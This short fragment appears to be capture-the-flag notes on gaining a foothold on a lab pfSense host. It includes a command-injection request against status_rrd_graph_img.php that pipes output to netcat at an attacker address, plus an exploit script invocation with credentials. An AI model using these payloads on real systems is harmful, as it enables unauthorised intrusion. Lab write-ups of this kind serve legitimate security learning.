Foothold

PfSense Vulnerabilities Part 2: Command Injection - Protean SecurityProtean Security

GET /status_rrd_graph_img.php?database=queues;whoami|nc+10.10.14.4+1337 HTTP/1.1

pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command InjectionExploit Database

$ python exploit.py --rhost 10.10.10.60 --lhost 10.10.14.4 --lport 1337 --username rohit --password pfsense